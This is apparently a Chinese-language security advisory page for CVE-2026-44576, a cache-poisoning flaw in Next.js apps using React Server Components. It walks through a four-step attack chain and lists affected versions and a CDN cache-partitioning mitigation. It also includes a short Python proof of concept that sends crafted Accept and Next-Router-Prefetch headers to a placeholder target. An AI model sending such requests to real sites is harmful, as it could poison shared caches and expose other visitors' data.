IPBUF安全漏洞报告
English
CVE-2026-44576 CVSS 5.4 中危

CVE-2026-44576: Next.js 缓存投毒漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44576
漏洞类型
缓存投毒
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Next.js

相关标签

缓存投毒Next.jsRSCWeb漏洞CVE-2026-44576

漏洞概述

Next.js是一个用于构建全栈Web应用程序的React框架。在14.2.0至15.5.16之前和16.2.5之前的版本中,使用React Server Components的应用程序容易受到缓存投毒攻击。当共享缓存未正确分区响应变体时,攻击者可利用该漏洞导致RSC响应从原始URL提供,并毒化共享缓存条目,使后续访问者收到组件负载而非预期的HTML。

技术细节

该漏洞源于Next.js在处理React Server Components (RSC)时的缓存机制缺陷。当部署环境(如CDN或反向代理)使用共享缓存且未正确区分不同的响应变体(例如基于头部信息区分HTML和RSC负载)时,攻击者可以发送特制的HTTP请求。攻击者通过操纵请求,诱导服务器返回RSC响应而非标准HTML,并利用缓存键的不唯一性,将此恶意响应存入共享缓存。由于缓存未正确分区,后续请求相同URL的普通用户将直接从缓存中获取攻击者注入的RSC负载,导致页面渲染异常或信息泄露。

攻击链分析

STEP 1
侦察
攻击者识别出目标网站使用的是受影响版本的Next.js框架,并且配置了共享缓存(如CDN)。
STEP 2
制作恶意请求
攻击者构造特定的HTTP请求,诱导服务器返回React Server Components (RSC) 格式的响应负载,而非标准的HTML页面。
STEP 3
缓存投毒
由于缓存未正确区分响应变体,攻击者的RSC响应被错误地存储在目标URL的共享缓存键下。
STEP 4
受害者访问
后续普通用户访问该URL时,直接从缓存中获取了攻击者预留的RSC负载,导致页面显示异常或敏感数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Proof of Concept for CVE-2026-44576 # Targeting a Next.js application vulnerable to cache poisoning target_url = "http://target-nextjs-app.com/" # Headers to trigger RSC response or confuse the cache # Note: Actual exploitation depends on specific CDN/Cache configuration headers = { "User-Agent": "PoC-Scanner/1.0", # Attempt to force an RSC response or specific variant "Accept": "text/x-component", "Next-Router-Prefetch": "1" } print(f"[+] Sending payload to {target_url}...") try: # Send request to poison the cache response = requests.get(target_url, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response Content-Type: {response.headers.get('Content-Type')}") print("[+] Cache might be poisoned if the CDN caches this RSC response as HTML.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Next.js 14.2.0 to 15.5.16
Next.js 16.0.0 to 16.2.5

防御指南

临时缓解措施
如果无法立即升级,应配置边缘缓存或CDN,确保基于请求头(如Accept或RSC特定头)正确区分HTML和RSC响应,避免将不同变体的响应存储在同一个缓存键下。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表